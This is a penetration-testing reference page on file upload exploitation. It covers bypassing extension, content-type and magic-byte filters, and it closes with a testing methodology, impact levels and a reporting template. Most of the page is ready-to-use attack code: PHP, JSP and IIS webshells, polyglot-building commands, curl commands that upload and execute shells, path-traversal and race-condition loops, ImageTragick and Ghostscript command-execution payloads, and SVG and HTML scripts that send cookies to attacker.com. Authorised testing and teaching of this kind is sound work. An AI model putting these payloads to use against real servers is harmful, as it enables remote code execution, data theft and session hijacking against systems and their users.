| CWE | CWE-434 |
| WSTG | WSTG-BUSL-08 |
| MITRE ATT&CK | T1105 |
| CVSS Range | 5.3-9.8 |
| Tools | fuxploider |
| Difficulty | 🟡 intermediate |
File Upload Exploitation
Unrestricted file upload occurs when an application allows users to upload files without properly validating file type, content, or storage location. By uploading a malicious file (webshell, polyglot, or executable), you can achieve remote code execution, stored XSS, or overwrite critical application files.
Quick Reference​
| Aspect | Details |
|---|---|
| Attack type | Server-side code execution via uploaded content |
| Target | Any file upload endpoint (profile pictures, attachments, imports, media) |
| Technique | Extension bypass, content-type spoofing, polyglot files, path traversal in filename |
| Key CWE | CWE-434 (Unrestricted Upload), CWE-351 (Insufficient Type Distinction), CWE-436 (Interpretation Conflict) |
Common upload parameters: file, upload, attachment, avatar, image, document, import, media, photo, resume, csv
Identify Upload Points​
Look for any functionality that accepts file input:
- Profile/avatar uploads -- user photos, team logos, org branding
- Document management -- file attachments, report uploads, CSV/Excel imports
- Content management -- blog post images, media library, theme uploads
- Support/ticketing -- attachment fields in forms, chat file sharing
- API endpoints -- multipart/form-data POST, PUT with file body, base64-encoded file fields
- Bulk operations -- CSV import, XML data import, configuration file upload
Fingerprint Server-Side Processing​
Understanding how the server processes uploads reveals which attacks are viable:
# Upload a test file and observe server behavior
# Check response headers for processing hints
curl -X POST "https://TARGET/upload" \
-F "file=@test.txt" -v 2>&1 | grep -iE "(content-type|location|server)"
# Check if uploaded files are served back directly
# If URL contains the original filename, path traversal may work
curl -I "https://TARGET/uploads/test.txt"
# Check if images are resized/re-encoded (breaks polyglot attacks)
# Upload a known image, download it, compare file size
curl -s "https://TARGET/uploads/avatar.png" | wc -c
Bypass Extension Filters​
Alternative Extensions​
Servers often block .php but miss alternative extensions that the web server still executes:
# PHP alternatives
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phar
shell.phps
shell.pgif
shell.pht
shell.inc
# ASP/ASPX alternatives
shell.asp
shell.aspx
shell.ashx
shell.asmx
shell.cer
shell.soap
# JSP alternatives
shell.jsp
shell.jspx
shell.jsw
shell.jsv
# Other server-side
shell.cgi
shell.pl
shell.py
shell.rb
shell.cfm
Case Manipulation​
shell.PhP
shell.pHp
shell.PHP
shell.Php5
shell.pHP7
Double Extensions​
# Server may validate only the first or last extension
shell.php.jpg
shell.jpg.php
shell.php.png
shell.png.php
shell.php.txt
# Some servers use the first recognized extension
shell.php.xxxxx
Null Byte Injection​
# Works on older systems (PHP <5.3.4, Java, some C-based parsers)
# Server validates .jpg, but filesystem truncates at null byte
shell.php%00.jpg
shell.php\x00.jpg
shell.asp%00.jpg
Trailing Characters​
# Dot stripping on Windows
shell.php.
shell.php..
shell.php...
# Space padding
shell.php%20
shell.php (with trailing space)
# Semicolon (IIS)
shell.asp;.jpg
# Colon (Windows NTFS alternate data stream)
shell.asp::$DATA
Content-Type Spoofing​
# Override Content-Type header to bypass MIME validation
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;type=image/jpeg"
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;type=image/png"
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;type=application/octet-stream"
Bypass Content Validation​
Magic Bytes (File Signatures)​
Prepend valid file signatures to bypass content inspection that checks file headers:
# GIF header + PHP webshell
printf 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.gif.php
# PNG header + PHP (first 8 bytes of valid PNG)
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png.php
# JPEG header + PHP
printf '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.jpg.php
# PDF header + PHP
printf '%%PDF-1.4\n<?php system($_GET["cmd"]); ?>' > shell.pdf.php
Polyglot Files​
Files that are simultaneously valid in two formats:
# Create a valid JPEG that is also valid PHP
# 1. Start with a minimal valid JPEG
# 2. Inject PHP into EXIF comment field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legitimate.jpg
mv legitimate.jpg shell.jpg.php
# GIF polyglot (GIF89a header is valid PHP comment opener with right encoding)
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > polyglot.gif
# SVG with embedded JavaScript (for stored XSS, not RCE)
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<rect width="100" height="100"/>
</svg>
EOF
Image Re-encoding Bypass​
If the server re-encodes images (ImageMagick, GD, Pillow), injected code in metadata is destroyed. Work around this:
# Inject PHP into IDAT chunks of a PNG that survives re-encoding
# Use tools like `png_payload` to embed code in pixel data
# The payload survives lossless re-encoding
# For JPEG, inject into quantization tables or Huffman tables
# These survive JPEG re-compression at the same quality level
Exploit Upload for RCE​
PHP Webshells​
# Minimal webshell
<?php system($_GET['cmd']); ?>
# One-liner with output
<?php echo shell_exec($_GET['cmd']); ?>
# Stealthier -- base64 encoded command
<?php system(base64_decode($_GET['c'])); ?>
# Using .htaccess to enable PHP execution in upload directory
# If you can upload .htaccess:
AddType application/x-httpd-php .jpg
.htaccess Upload​
If the server runs Apache and you can upload to a directory that respects .htaccess:
# Upload .htaccess that makes .jpg files execute as PHP
cat > .htaccess << 'EOF'
AddType application/x-httpd-php .jpg
EOF
curl -X POST "https://TARGET/upload" -F "file=@.htaccess"
# Then upload a .jpg containing PHP code
curl -X POST "https://TARGET/upload" -F "file=@shell.jpg"
# Execute
curl "https://TARGET/uploads/shell.jpg?cmd=id"
web.config Upload (IIS)​
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="aspx" path="*.jpg" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll"
resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>
JSP Webshell​
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
out.println(s.hasNext() ? s.next() : "");
%>
Exploit Path Traversal in Filename​
If the server uses the uploaded filename to determine storage path without sanitization:
# Overwrite application files
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;filename=../../../var/www/html/shell.php"
# Try URL encoding
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;filename=..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php"
# Try double URL encoding
curl -X POST "https://TARGET/upload" \
-F "file=@shell.php;filename=..%252f..%252f..%252fshell.php"
# Overwrite config files for RCE
curl -X POST "https://TARGET/upload" \
-F "file=@evil-config.php;filename=../config/database.php"
Exploit Stored XSS via Upload​
When RCE is not possible, uploaded files can achieve stored XSS:
# SVG with JavaScript
cat > xss.svg << 'EOF'
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
</svg>
EOF
# HTML file upload
cat > xss.html << 'EOF'
<html><body><script>fetch('https://attacker.com/?c='+document.cookie)</script></body></html>
EOF
# PDF with JavaScript (if served inline)
# Use tools to craft a PDF with embedded JS
Race Condition: Upload Then Execute​
Some applications upload the file first, then validate and delete it. Exploit the time window:
# Upload malicious file in a loop while simultaneously requesting it
# Terminal 1: Upload continuously
while true; do
curl -s -X POST "https://TARGET/upload" -F "file=@shell.php" &
done
# Terminal 2: Request the file continuously
while true; do
curl -s "https://TARGET/uploads/shell.php?cmd=id" | grep -q "uid=" && echo "EXECUTED" && break
done
Use Turbo Intruder or custom scripts for precise timing.
Exploit Image Processing Libraries​
ImageMagick (ImageTragick -- CVE-2016-3714)​
# MVG payload -- command execution via delegate
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF
# SVG payload for ImageMagick
cat > exploit.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
<image xlink:href="https://example.com/image.jpg"|id > /tmp/pwned"" />
</svg>
EOF
# Upload with image extension
mv exploit.svg exploit.svg.jpg
curl -X POST "https://TARGET/upload" -F "file=@exploit.svg.jpg;type=image/jpeg"
Ghostscript (PDF/PS processing)​
# PostScript payload for command execution
cat > exploit.eps << 'EOF'
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops
EOF
Testing Methodology​
- Enumerate upload endpoints -- Find all file upload functionality (forms, APIs, drag-and-drop zones).
- Test allowed extensions -- Upload files with various extensions to map the filter.
- Test content validation -- Upload files with mismatched extension/content to check if content is inspected.
- Test filename handling -- Include path traversal characters (
../), null bytes, and special characters in filenames. - Locate uploaded files -- Determine the storage URL/path. Check if files are served by the web server directly.
- Test execution -- If server-side files are uploaded, check if the web server executes them.
- Test race conditions -- If files are validated after upload, try to access them before deletion.
- Test image processing -- If images are processed server-side, try ImageMagick/Ghostscript payloads.
Impact Assessment​
Level 1 -- Upload Bypass (Low severity): You can upload files that violate the application's intended file type restrictions. Proof: non-image file stored and accessible via URL.
Level 2 -- Stored XSS (Medium severity): Uploaded file (SVG, HTML) executes JavaScript when viewed by other users. Proof: JavaScript execution in another user's browser context.
Level 3 -- File Overwrite (High severity): Path traversal in filename allows overwriting application files. Proof: application configuration or source file replaced with attacker-controlled content.
Level 4 -- Remote Code Execution (Critical severity):
Uploaded webshell executes server-side commands. Proof: output of id or whoami command returned via the uploaded file.
Documentation Template​
## File Upload -- [Extension Bypass / Webshell / Path Traversal / etc.]
**URL:** [upload endpoint]
**Parameter:** [file field name]
**Bypass technique:** [what validation was bypassed and how]
### Upload Request
[Exact HTTP request with file content]
### Execution / Impact
[How the uploaded file was accessed/executed, with response]
Tools​
| Tool | Purpose | When to use |
|---|---|---|
| Burp Suite | Intercept and modify upload requests | Always -- modify filename, content-type, and body in transit |
| exiftool | Inject payloads into image metadata (EXIF, IPTC, XMP) | Creating polyglot images with embedded code |
| fuxploider | Automated file upload vulnerability scanner | First-pass scan of upload endpoints for extension/content-type bypasses |
| upload-scanner (Burp extension) | Comprehensive upload testing | Systematic testing of all bypass techniques against an endpoint |
| curl | Manual multipart upload crafting | Precise control over filename, content-type, and file content |
Prioritization​
Test these first (highest real-world exploitability)​
- Webshell upload via extension bypass -- EPSS >0.7 for unrestricted upload CVEs. Double extensions (
.php.jpg), case variations (.pHp), and alternative extensions (.phtml,.php5) are the most commonly exploited bypasses. Test if uploaded files are served with executable content types. - Path traversal in filename -- If the application uses the original filename, inject
../../to write outside the upload directory. ZIP Slip attacks on archive extraction are especially effective. - Content-type spoofing with polyglot files -- Upload files that are valid images AND contain embedded code (PHP in EXIF, JavaScript in SVG). Bypasses content-type validation while achieving execution.
Test these if time permits (lower exploitability)​
- SVG/HTML upload for stored XSS -- Only effective if the application serves uploaded files inline (not as downloads). Lower severity than RCE but still significant.
- Overwrite critical application files -- Requires knowing the application's file structure and having write access to the webroot. Rare but devastating.
- Race condition in upload validation -- Upload a file and access it before async validation/deletion completes. Requires precise timing.
Skip if​
- Application does not have any file upload functionality
- All uploads go to object storage (S3, GCS) with no server-side execution capability
- Uploaded files are never served back to users (e.g., processed and discarded)
Asset criticality​
Prioritize by execution context: uploads served from the same domain as the application (RCE risk) > uploads served from a separate CDN domain (XSS risk only) > uploads stored but never served (metadata-only attacks). Upload endpoints on admin panels have higher priority due to elevated trust context.